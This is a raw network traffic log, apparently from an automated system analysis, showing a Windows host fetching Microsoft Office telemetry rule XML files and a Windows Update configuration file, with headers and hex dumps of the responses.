2024-11-20 03:07:59 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:07:59 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: bfe6cc7a-201e-006e-7e8c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030759Z-1777c6cb7542p5p4hC1TEBq098000000092g000000002rt5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:07:59 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.4	62363	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:07:58 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:07:59 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:07:59 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 70a275ef-201e-0051-048c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030759Z-1777c6cb754ww792hC1TEBzqu400000008v000000000czbb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:07:59 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.4	62364	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:07:59 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:07:59 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:07:59 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 7f65a9a1-801e-0067-788c-3afe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030759Z-185f5d8b95csd4bwhC1NYCq7dc00000009m000000000anpz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:07:59 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	62365	20.12.23.50	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:07:59 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=VgLHUuHsbgWy6a5&MD=WWhbNRcU HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-20 03:07:59 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 78d18de7-3b27-4af2-9e4d-0daf4a722c17 MS-RequestId: 0a64f320-ab10-402f-9e43-c0cb52f8df18 MS-CV: PRjQmFugwkKiaf3F.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Nov 2024 03:07:58 GMT Connection: close Content-Length: 30005
2024-11-20 03:07:59 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-11-20 03:07:59 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.4	62367	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:07:59 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:07:59 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:07:59 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: eb1ded04-b01e-0097-298c-3a4f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030759Z-185f5d8b95cjbkr4hC1NYCeu2400000009g000000000bx90 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:07:59 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.4	62366	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:07:59 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:07:59 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:07:59 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 79148a84-101e-0017-578c-3a47c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030759Z-1777c6cb754lv4cqhC1TEB13us00000008xg00000000kt7e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:07:59 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.4	62368	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:07:59 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:07:59 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:07:59 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: bdf962e5-c01e-0066-1b8c-3aa1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030759Z-185f5d8b95c5lcmhhC1NYCsnsw00000009p000000000q332 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:07:59 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.4	62369	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:07:59 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:07:59 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:07:59 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: a1d80e42-301e-0096-338c-3ae71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030759Z-185f5d8b95crwqd8hC1NYCps6800000009gg00000000w1dx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:07:59 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.4	62370	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:07:59 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:07:59 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:07:59 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: b82db720-b01e-0053-528c-3acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030759Z-185f5d8b95cgrrn8hC1NYCgwh400000009h0000000009kpb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:07:59 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.4	62372	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:00 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:00 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:00 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: b82db7f7-b01e-0053-188c-3acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030800Z-185f5d8b95cgrrn8hC1NYCgwh400000009m0000000002bye x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:00 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.4	62371	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:00 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:00 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:00 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 7511ce5b-801e-0083-468c-3af0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030800Z-185f5d8b95cdtclvhC1NYC4rmc00000009r000000000pkcf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:00 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.4	62374	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:00 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:00 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:00 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 302bdaed-601e-003e-338c-3a3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030800Z-r1d97b99577dd2gchC1TEBz5ys000000083000000000az3n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
